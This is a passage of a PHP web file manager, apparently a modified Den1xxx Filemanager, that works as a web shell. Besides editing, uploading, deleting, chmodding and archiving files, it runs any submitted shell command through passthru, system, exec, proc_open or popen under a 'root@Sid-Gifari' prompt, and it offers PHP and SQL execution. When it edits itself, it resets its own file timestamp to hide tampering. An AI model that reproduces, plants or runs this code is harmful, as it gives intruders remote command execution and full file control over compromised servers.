    if (!empty($res)) {
        $fun = 'fm_' . $res_lng;
        echo '<h3>' . strtoupper($res_lng) . ' ' . __('Result') . '</h3><pre>' . $fun($res) . '</pre>';
    }
} elseif (!empty($_REQUEST['edit'])) {
    if (!empty($_REQUEST['save'])) {
        $fn = $path . $_REQUEST['edit'];
        $filemtime = filemtime($fn);
        if (file_put_contents($fn, $_REQUEST['newcontent'])) {
            $msg_ntimes .= __('File updated');
        } else {
            $msg_ntimes .= __('Error occurred');
        }
        if ($_GET['edit'] == basename(__FILE__)) {
            touch(__FILE__, 1415116371);
        } else {
            if (!empty($fm_config['restore_time'])) {
                touch($fn, $filemtime);
            }
        }
    }
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
    ?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?php 
    echo __('File manager') . ' - ' . __('Edit') . ' - ' . $path . $_REQUEST['edit'];
    ?></th>
</tr>
<tr>
    <td class="row1">
        <?php 
    echo $msg_ntimes;
    ?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?php 
    echo fm_home();
    ?> <a href="<?php 
    echo $backlink;
    ?>"><?php 
    echo __('Back');
    ?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?php 
    echo $editlink;
    ?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?php 
    echo htmlspecialchars($oldcontent);
    ?></textarea>
            <input type="submit" name="save" value="<?php 
    echo __('Submit');
    ?>">
            <input type="submit" name="cancel" value="<?php 
    echo __('Cancel');
    ?>">
        </form>
    </td>
</tr>
</table>
<?php 
    echo $auth['script'];
} elseif (!empty($_REQUEST['rights'])) {
    if (!empty($_REQUEST['save'])) {
        if (fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively'])) {
            $msg_ntimes .= __('File updated');
        } else {
            $msg_ntimes .= __('Error occurred');
        }
    }
    clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
    ?>
<table class="whole">
<tr>
    <th><?php 
    echo __('File manager') . ' - ' . $path;
    ?></th>
</tr>
<tr>
    <td class="row1">
        <?php 
    echo $msg_ntimes;
    ?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?php 
    echo $backlink;
    ?>"><?php 
    echo __('Back');
    ?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?php 
    echo $link;
    ?>">
           <?php 
    echo __('Rights') . ' - ' . $_REQUEST['rights'];
    ?> <input type="text" name="rights_val" value="<?php 
    echo $oldrights;
    ?>">
        <?php 
    if (is_dir($path . $_REQUEST['rights'])) {
        ?>
            <input type="checkbox" name="recursively" value="1"> <?php 
        echo __('Recursively');
        ?><br/>
        <?php 
    }
    ?>
            <input type="submit" name="save" value="<?php 
    echo __('Submit');
    ?>">
        </form>
    </td>
</tr>
</table>
<?php 
} elseif (!empty($_REQUEST['rename']) && $_REQUEST['rename'] != '.') {
    if (!empty($_REQUEST['save'])) {
        rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
        $msg_ntimes .= __('File updated');
        $_REQUEST['rename'] = $_REQUEST['newname'];
    }
    clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
    ?>
<table class="whole">
<tr>
    <th><?php 
    echo __('File manager') . ' - ' . $path;
    ?></th>
</tr>
<tr>
    <td class="row1">
        <?php 
    echo $msg_ntimes;
    ?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?php 
    echo $backlink;
    ?>"><?php 
    echo __('Back');
    ?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?php 
    echo $link;
    ?>">
            <?php 
    echo __('Rename');
    ?>: <input type="text" name="newname" value="<?php 
    echo $_REQUEST['rename'];
    ?>"><br/>
            <input type="submit" name="save" value="<?php 
    echo __('Submit');
    ?>">
        </form>
    </td>
</tr>
</table>
<?php 
} else {
    //quanxian gai bian hou xu yao xi tong chongqi
    $msg_ntimes = '';
    if (!empty($_FILES['upload']) && !empty($fm_config['upload_file'])) {
        if (!empty($_FILES['upload']['name'])) {
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
            if (!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])) {
                $msg_ntimes .= __('Error occurred');
            } else {
                $msg_ntimes .= __('Files uploaded') . ': ' . $_FILES['upload']['name'];
            }
        }
    } elseif (!empty($_REQUEST['delete']) && $_REQUEST['delete'] != '.') {
        if (!fm_del_khumfail($path . $_REQUEST['delete'], true)) {
            $msg_ntimes .= __('Error occurred');
        } else {
            $msg_ntimes .= __('Deleted') . ' ' . $_REQUEST['delete'];
        }
    } elseif (!empty($_REQUEST['mkdir']) && !empty($fm_config['make_directory'])) {
        if (!@mkdir($path . $_REQUEST['dirname'], 0777)) {
            $msg_ntimes .= __('Error occurred');
        } else {
            $msg_ntimes .= __('Created') . ' ' . $_REQUEST['dirname'];
        }
    } elseif (!empty($_POST['search_recursive'])) {
        ini_set('max_execution_time', '0');
        $search_data = find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);
        if (!empty($search_data)) {
            $msg_ntimes .= __('Found in khumfail') . ' (' . count($search_data) . '):<br>';
            foreach ($search_data as $filename) {
                $msg_ntimes .= '<a href="' . thangweb(true) . '?fm=true&edit=' . basename($filename) . '&path=' . str_replace('/' . basename($filename), '/', $filename) . '" title="' . __('Edit') . '">' . basename($filename) . '</a>&nbsp; &nbsp;';
            }
        } else {
            $msg_ntimes .= __('Nothing founded');
        }
    } elseif (!empty($_REQUEST['mkfile']) && !empty($fm_config['new_file'])) {
        if (!($fp = @fopen($path . $_REQUEST['filename'], "w"))) {
            $msg_ntimes .= __('Error occurred');
        } else {
            fclose($fp);
            $msg_ntimes .= __('Created') . ' ' . $_REQUEST['filename'];
        }
    } elseif (isset($_GET['zip'])) {
        $source = base64_decode($_GET['zip']);
        $destination = basename($source) . '.zip';
        set_time_limit(0);
        $phar = new PharData($destination);
        $phar->buildFromDirectory($source);
        if (is_file($destination)) {
            $msg_ntimes .= __('Task') . ' "' . __('Archiving') . ' ' . $destination . '" ' . __('done') . '.&nbsp;' . rangkhwampanithan('download', $path . $destination, __('Download'), __('Download') . ' ' . $destination) . '&nbsp;<a href="' . $url_inc . '&delete=' . $destination . '&path=' . $path . '" title="' . __('Delete') . ' ' . $destination . '" >' . __('Delete') . '</a>';
        } else {
            $msg_ntimes .= __('Error occurred') . ': ' . __('no khumfail');
        }
    } elseif (isset($_GET['gz'])) {
        $source = base64_decode($_GET['gz']);
        $archive = $source . '.tar';
        $destination = basename($source) . '.tar';
        if (is_file($archive)) {
            unlink($archive);
        }
        if (is_file($archive . '.gz')) {
            unlink($archive . '.gz');
        }
        clearstatcache();
        set_time_limit(0);
        //die();
        $phar = new PharData($destination);
        $phar->buildFromDirectory($source);
        $phar->compress(Phar::GZ, '.tar.gz');
        unset($phar);
        if (is_file($archive)) {
            if (is_file($archive . '.gz')) {
                unlink($archive);
                $destination .= '.gz';
            }
            $msg_ntimes .= __('Task') . ' "' . __('Archiving') . ' ' . $destination . '" ' . __('done') . '.&nbsp;' . rangkhwampanithan('download', $path . $destination, __('Download'), __('Download') . ' ' . $destination) . '&nbsp;<a href="' . $url_inc . '&delete=' . $destination . '&path=' . $path . '" title="' . __('Delete') . ' ' . $destination . '" >' . __('Delete') . '</a>';
        } else {
            $msg_ntimes .= __('Error occurred') . ': ' . __('no khumfail');
        }
    } elseif (isset($_GET['decompress'])) {
        // $source = base64_decode($_GET['decompress']);
        // $destination = basename($source);
        // $ext = end(explode(".", $destination));
        // if ($ext=='zip' OR $ext=='gz') {
        // $phar = new PharData($source);
        // $phar->decompress();
        // $base_file = str_replace('.'.$ext,'',$destination);
        // $ext = end(explode(".", $base_file));
        // if ($ext=='tar'){
        // $phar = new PharData($base_file);
        // $phar->extractTo(dir($source));
        // }
        // }
        // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
    } elseif (isset($_GET['gzfile'])) {
        $source = base64_decode($_GET['gzfile']);
        $archive = $source . '.tar';
        $destination = basename($source) . '.tar';
        if (is_file($archive)) {
            unlink($archive);
        }
        if (is_file($archive . '.gz')) {
            unlink($archive . '.gz');
        }
        set_time_limit(0);
        //echo $destination;
        $ext_arr = explode('.', basename($source));
        if (isset($ext_arr[1])) {
            unset($ext_arr[0]);
            $ext = implode('.', $ext_arr);
        }
        $phar = new PharData($destination);
        $phar->addFile($source);
        $phar->compress(Phar::GZ, $ext . '.tar.gz');
        unset($phar);
        if (is_file($archive)) {
            if (is_file($archive . '.gz')) {
                unlink($archive);
                $destination .= '.gz';
            }
            $msg_ntimes .= __('Task') . ' "' . __('Archiving') . ' ' . $destination . '" ' . __('done') . '.&nbsp;' . rangkhwampanithan('download', $path . $destination, __('Download'), __('Download') . ' ' . $destination) . '&nbsp;<a href="' . $url_inc . '&delete=' . $destination . '&path=' . $path . '" title="' . __('Delete') . ' ' . $destination . '" >' . __('Delete') . '</a>';
        } else {
            $msg_ntimes .= __('Error occurred') . ': ' . __('no khumfail');
        }
    }
    ?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?php 
    echo __('File manager');
    echo !empty($path) ? ' - ' . $path : '';
    ?></th>
</tr>
<?php 
    if (!empty($msg_ntimes)) {
        ?>
<tr>
	<td colspan="2" class="row2"><?php 
        echo $msg_ntimes;
        ?></td>
</tr>
<?php 
    }
    ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?php 
    echo fm_home();
    ?>
			</td>
			<td>
<?php 
    session_start();
    // List of command execution functions to check
    $execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen', 'symlink', 'dl'];
    // Check if any of the functions are enabled (not disabled by disable_functions)
    $canExecute = false;
    foreach ($execFunctions as $func) {
        if (function_exists($func)) {
            $canExecute = true;
            break;
        }
    }
    if (!isset($_SESSION['cwd'])) {
        $_SESSION['cwd'] = getcwd();
    }
    // Update cwd from POST if valid directory
    if (isset($_POST['path']) && is_dir($_POST['path'])) {
        $_SESSION['cwd'] = realpath($_POST['path']);
    }
    $cwd = $_SESSION['cwd'];
    $output = "";
    if (isset($_POST['terminal'])) {
        $cmdInput = trim($_POST['terminal-text']);
        if (preg_match('/^cd\\s*(.*)$/', $cmdInput, $matches)) {
            $dir = trim($matches[1]);
            if ($dir === '' || $dir === '~') {
                $dir = isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : $cwd;
            } elseif ($dir[0] !== DIRECTORY_SEPARATOR && $dir[0] !== '/' && $dir[0] !== '\\') {
                $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
            }
            $realDir = realpath($dir);
            if ($realDir && is_dir($realDir)) {
                $_SESSION['cwd'] = $realDir;
                $cwd = $realDir;
                $output = "Changed directory to " . htmlspecialchars($realDir);
            } else {
                $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
            }
        } else {
            if ($canExecute) {
                chdir($cwd);
                $cmd = $cmdInput . " 2>&1";
                if (function_exists('passthru')) {
                    ob_start();
                    passthru($cmd);
                    $output = ob_get_clean();
                } elseif (function_exists('system')) {
                    ob_start();
                    system($cmd);
                    $output = ob_get_clean();
                } elseif (function_exists('exec')) {
                    exec($cmd, $out);
                    $output = implode("\n", $out);
                } elseif (function_exists('shell_exec')) {
                    $output = shell_exec($cmd);
                } elseif (function_exists('proc_open')) {
                    // Using proc_open as fallback
                    $descriptorspec = [0 => ["pipe", "r"], 1 => ["pipe", "w"], 2 => ["pipe", "w"]];
                    $process = proc_open($cmd, $descriptorspec, $pipes, $cwd);
                    if (is_resource($process)) {
                        fclose($pipes[0]);
                        $output = stream_get_contents($pipes[1]);
                        fclose($pipes[1]);
                        $output .= stream_get_contents($pipes[2]);
                        fclose($pipes[2]);
                        proc_close($process);
                    } else {
                        $output = "Failed to execute command via proc_open.";
                    }
                } elseif (function_exists('popen')) {
                    $handle = popen($cmd, 'r');
                    if ($handle) {
                        $output = stream_get_contents($handle);
                        pclose($handle);
                    } else {
                        $output = "Failed to execute command via popen.";
                    }
                } else {
                    $output = "Error: No command execution functions available.";
                }
            } else {
                $output = "Command execution functions are disabled on this server. Terminal is unavailable.";
            }
        }
    }
    if (!isset($url_inc)) {
        $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
    }
    if (!isset($path)) {
        $path = $cwd;
    }
    ?>

<strong>root@Sid-Gifari:<?php 
    echo htmlspecialchars($cwd);
    ?>$</strong><br>
<pre><?php 
    echo htmlspecialchars($output);
    ?></pre>

<form method="post" action="<?php 
    echo $url_inc;
    ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd">
    <input type="hidden" name="path" value="<?php 
    echo htmlspecialchars($path);
    ?>" />
    <input type="submit" name="terminal" value="Execute">
</form>
</td>
			<td>
			<?php 
    if (!empty($fm_config['make_directory'])) {
        ?>
				<form method="post" action="<?php 
        echo $url_inc;
        ?>">
				<input type="hidden" name="path" value="<?php 
        echo $path;
        ?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?php 
        echo __('Make directory');
        ?>">
				</form>
			<?php 
    }
    ?>
			</td>
			<td>
			<?php 
    if (!empty($fm_config['new_file'])) {
        ?>
				<form method="post" action="<?php 
        echo $url_inc;
        ?>">
				<input type="hidden" name="path"     value="<?php 
        echo $path;
        ?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?php 
        echo __('New file');
        ?>">
				</form>
			<?php 
    }
    ?>
			</td>
			<td>
				<form  method="post" action="<?php 
    echo $url_inc;
    ?>" style="display:inline">
				<input type="hidden" name="path" value="<?php 
    echo $path;
    ?>" />
				<input type="text" placeholder="<?php 
    echo __('Recursive search');
    ?>" name="search_recursive" value="<?php 
    echo !empty($_POST['search_recursive']) ? $_POST['search_recursive'] : '';
    ?>" size="15">
				<input type="text" name="mask" placeholder="<?php 
    echo __('Mask');
    ?>" value="<?php 
    echo !empty($_POST['mask']) ? $_POST['mask'] : '*.*';
    ?>" size="5">
				<input type="submit" name="search" value="<?php 
    echo __('Search');
    ?>">
				</form>
			</td>
			<td>
			<?php 
    echo fm_run_input('php');
    ?>
			</td>
			<td>
			<?php 
    echo fm_run_input('sql');
    ?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     <?php 
    if (!empty($fm_config['upload_file'])) {
        ?>
                      
		     	<form name="form1" method="post" action="<?php 
        echo $url_inc;
        ?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?php 
        echo $path;
        ?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?php 
        echo __('Select the file');
        ?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?php 
        echo __('Upload');
        ?>" />

		     	</form>

		     <?php 
    }
    ?>
                    
		     </td>
		<td>
		<?php 
    if ($auth['authorize']) {
        ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?php 
        echo __('Hello');
        ?>, <?php 
        echo $auth['login'];
        ?>
			<input type="submit" value="<?php 
        echo __('Quit');
        ?>">
			</form>
		<?php 
    }
    ?>
		</td>
		<td>
		<?php 
    echo fm_lang_form($language);
    ?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?php 
    echo __('Filename');
    ?> </th>
    <th style="white-space:nowrap"> <?php 
    echo __('Size');
    ?> </th>
    <th style="white-space:nowrap"> <?php 
    echo __('Date');
    ?> </th>
    <th style="white-space:nowrap"> <?php 
    echo __('Rights');
    ?> </th>
    <th colspan="4" style="white-space:nowrap"> <?php 
    echo __('Manage');
    ?> </th>
</tr>
</thead>
<tbody>
<?php 
    $elements = fm_scan_dir($path, '', 'all', true);
    $dirs = array();
    $files = array();
    foreach ($elements as $file) {
        if (@is_dir($path . $file)) {
            $dirs[] = $file;
        } else {
            $files[] = $file;
        }
    }
    natsort($dirs);
    natsort($files);
    $elements = array_merge($dirs, $files);
    foreach ($elements as $file) {
        $filename = $path . $file;
        $filedata = @stat($filename);
        if (@is_dir($filename)) {
            $filedata[7] = '';
            if (!empty($fm_config['show_dir_size']) && !fm_root($file)) {
                $filedata[7] = fm_dir_size($filename);
            }
            $link = '<a href="' . $url_inc . '&path=' . $path . $file . '" title="' . __('Show') . ' ' . $file . '"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> ' . $file . '</a>';
            $loadlink = fm_root($file) || $phar_maybe ? '' : fm_link('zip', $filename, __('Compress') . '&nbsp;zip', __('Archiving') . ' ' . $file);
            $arlink = fm_root($file) || $phar_maybe ? '' : fm_link('gz', $filename, __('Compress') . '&nbsp;.tar.gz', __('Archiving') . ' ' . $file);
            $style = 'row2';
            if (!fm_root($file)) {
                $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?') . '\\n /' . $file . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"';
            } else {
                $alert = '';
            }
        } else {
            $link = $fm_config['show_img'] && @getimagesize($filename) ? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\'' . fm_img_link($filename) . '\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="' . fm_img_link($filename) . '"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> ' . $file . '</a>' : '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path . '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> ' . $file . '</a>';
            $e_arr = explode(".", $file);
            $ext = end($e_arr);
            $loadlink = fm_link('download', $filename, __('Download'), __('Download') . ' ' . $file);
            $arlink = in_array($ext, array('zip', 'gz', 'tar')) ? '' : (fm_root($file) || $phar_maybe ? '' : fm_link('gzfile', $filename, __('Compress') . '&nbsp;.tar.gz', __('Archiving') . ' ' . $file));
            $style = 'row1';
            $alert = 'onClick="if(confirm(\'' . __('File selected') . ': \\n' . $file . '. \\n' . __('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"';
        }
        $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' ' . $file . '" ' . $alert . '>' . __('Delete') . '</a>';
        $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') . ' ' . $file . '">' . __('Rename') . '</a>';
        $rightstext = $file == '.' || $file == '..' ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') . ' ' . $file . '">' . @fm_rights_string($filename) . '</a>';
        ?>
<tr class="<?php 
        echo $style;
        ?>"> 
    <td><?php 
        echo $link;
        ?></td>
    <td><?php 
        echo $filedata[7];
        ?></td>
    <td style="white-space:nowrap"><?php 
        echo gmdate("Y-m-d H:i:s", $filedata[9]);
        ?></td>
    <td><?php 
        echo $rightstext;
        ?></td>
    <td><?php 
        echo $deletelink;
        ?></td>
    <td><?php 
        echo $renamelink;
        ?></td>
    <td><?php 
        echo $loadlink;
        ?></td>
    <td><?php 
        echo $arlink;
        ?></td>
</tr>
<?php 
    }
}
?>
</tbody>
</table>
<div class="row3"><?php 
$mtime = explode(' ', microtime());
$totaltime = $mtime[0] + $mtime[1] - $starttime;
echo fm_home() . ' | ver. ' . $fm_version . ' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="' . fm_site_url() . '">.</a>';
if (!empty($fm_config['show_php_ver'])) {
    echo ' | PHP ' . phpversion();
}
if (!empty($fm_config['show_php_ini'])) {
    echo ' | ' . php_ini_loaded_file();
}
if (!empty($fm_config['show_gt'])) {
    echo ' | ' . __('Generation time') . ': ' . round($totaltime, 2);
}
if (!empty($fm_config['enable_proxy'])) {
    echo ' | <a href="?proxy=true">proxy</a>';
}
if (!empty($fm_config['show_phpinfo'])) {
    echo ' | <a href="?phpinfo=true">phpinfo</a>';
}
if (!empty($fm_config['show_xls']) && !empty($link)) {
    echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="' . __('Download') . ' xls">xls</a>';
}
if (!empty($fm_config['fm_settings'])) {
    echo ' | <a href="?fm_settings=true">' . __('Settings') . '</a>';
}
?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php 
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar
{
    var $archive_name = '';
    var $tmp_file = 0;
    var $file_pos = 0;
    var $isGzipped = true;
    var $errors = array();
    var $files = array();
    function __construct()
    {
        if (!isset($this->errors)) {
            $this->errors = array();
        }
    }
    function createArchive($file_list)
    {
        $result = false;
        if (file_exists($this->archive_name) && is_file($this->archive_name)) {
            $newArchive = false;
        } else {
            $newArchive = true;
        }
        if ($newArchive) {
            if (!$this->openWrite()) {
                return false;
            }
        } else {
            if (filesize($this->archive_name) == 0) {
                return $this->openWrite();
            }
            if ($this->isGzipped) {
                $this->closeTmpFile();
                if (!rename($this->archive_name, $this->archive_name . '.tmp')) {
                    $this->errors[] = __('Cannot rename') . ' ' . $this->archive_name . __(' to ') . $this->archive_name . '.tmp';
                    return false;
                }
                $tmpArchive = gzopen($this->archive_name . '.tmp', 'rb');
                if (!$tmpArchive) {
                    $this->errors[] = $this->archive_name . '.tmp ' . __('is not readable');
                    rename($this->archive_name . '.tmp', $this->archive_name);
                    return false;
                }
                if (!$this->openWrite()) {
                    rename($this->archive_name . '.tmp', $this->archive_name);
                    return false;
                }
                $buffer = gzread($tmpArchive, 512);
                if (!gzeof($tmpArchive)) {
                    do {
                        $binaryData = pack('a512', $buffer);
                        $this->writeBlock($binaryData);
                        $buffer = gzread($tmpArchive, 512);
                    } while (!gzeof($tmpArchive));
                }
                gzclose($tmpArchive);
                unlink($this->archive_name . '.tmp');
            } else {
                $this->tmp_file = fopen($this->archive_name, 'r+b');
                if (!$this->tmp_file) {
                    return false;
                }
            }
        }
        if (isset($file_list) && is_array($file_list)) {
            if (count($file_list) > 0) {
                $result = $this->packFileArray($file_list);
            }
        } else {
            $this->errors[] = __('No file') . __(' to ') . __('Archive');
        }
        if ($result && is_resource($this->tmp_file)) {
            $binaryData = pack('a512', '');
            $this->writeBlock($binaryData);
        }
        $this->closeTmpFile();
        if ($newArchive && !$result) {
            $this->closeTmpFile();
            unlink($this->archive_name);
        }
        return $result;
    }
    function restoreArchive($path)
    {
        $fileName = $this->archive_name;
        if (!$this->isGzipped) {
            if (file_exists($fileName)) {
                if ($fp = fopen($fileName, 'rb')) {
                    $data = fread($fp, 2);
                    fclose($fp);
                    if ($data == '\\37\\213') {
                        $this->isGzipped = true;
                    }
                }
            } elseif (substr($fileName, -2) == 'gz' or substr($fileName, -3) == 'tgz') {
                $this->isGzipped = true;
            }
        }
        $result = true;
        if ($this->isGzipped) {
            $this->tmp_file = gzopen($fileName, 'rb');
        } else {
            $this->tmp_file = fopen($fileName, 'rb');
        }
        if (!$this->tmp_file) {
            $this->errors[] = $fileName . ' ' . __('is not readable');
            return false;
        }
        $result = $this->unpackFileArray($path);
        $this->closeTmpFile();
        return $result;
    }
    function showErrors($message = '')
    {
        $Errors = $this->errors;
        if (count($Errors) > 0) {
            if (!empty($message)) {
                $message = ' (' . $message . ')';
            }
            $message = __('Error occurred') . $message . ': <br/>';
            foreach ($Errors as $value) {
                $message .= $value . '<br/>';
            }
            return $message;
        } else {
            return '';
        }
    }
    function packFileArray($file_array)
    {
        $result = true;
        if (!$this->tmp_file) {
            $this->errors[] = __('Invalid file descriptor');
            return false;
        }
        if (!is_array($file_array) || count($file_array) <= 0) {
            return true;
        }
        for ($i = 0; $i < count($file_array); $i++) {
            $filename = $file_array[$i];
            if ($filename == $this->archive_name) {
                continue;
            }
            if (strlen($filename) <= 0) {
                continue;
            }
            if (!file_exists($filename)) {
                $this->errors[] = __('No file') . ' ' . $filename;
                continue;
            }
            if (!$this->tmp_file) {
                $this->errors[] = __('Invalid file descriptor');
                return false;
            }
            if (strlen($filename) <= 0) {
                $this->errors[] = __('Filename') . ' ' . __('is incorrect');
                return false;
            }
            $filename = str_replace('\\', '/', $filename);
            $keep_filename = $this->makeGoodPath($filename);
            if (is_file($filename)) {
                if (($file = fopen($filename, 'rb')) == 0) {
                    $this->errors[] = __('Mode ') . __('is incorrect');
                }
                if ($this->file_pos == 0) {
                    if (!$this->writeHeader($filename, $keep_filename)) {
                        return false;
                    }
                }
                while (($buffer = fread($file, 512)) != '') {
                    $binaryData = pack('a512', $buffer);
                    $this->writeBlock($binaryData);
                }
                fclose($file);
            } else {
                $this->writeHeader($filename, $keep_filename);
            }
            if (@is_dir($filename)) {
                if (!($handle = opendir($filename))) {
                    $this->errors[] = __('Error') . ': ' . __('Directory ') . $filename . __('is not readable');
                    continue;
                }
                while (false !== ($dir = readdir($handle))) {
                    if ($dir != '.' && $dir != '..') {
                        $file_array_tmp = array();
                        if ($filename != '.') {
                            $file_array_tmp[] = $filename . '/' . $dir;
                        } else {
                            $file_array_tmp[] = $dir;
                        }
                        $result = $this->packFileArray($file_array_tmp);
                    }
                }
                unset($file_array_tmp);
                unset($dir);
                unset($handle);
            }
        }
        return $result;
    }
    function unpackFileArray($path)
    {
        $path = str_replace('\\', '/', $path);
        if ($path == '' || substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')) {
            $path = './' . $path;
        }
        clearstatcache();
        while (strlen($binaryData = $this->readBlock()) != 0) {
            if (!$this->readHeader($binaryData, $header)) {
                return false;
            }
            if ($header['filename'] == '') {
                continue;
            }
            if ($header['typeflag'] == 'L') {
                //reading long header
                $filename = '';
                $decr = floor($header['size'] / 512);
                for ($i = 0; $i < $decr; $i++) {
                    $content = $this->readBlock();
                    $filename .= $content;
                }
                if (($laspiece = $header['size'] % 512) != 0) {
                    $content = $this->readBlock();
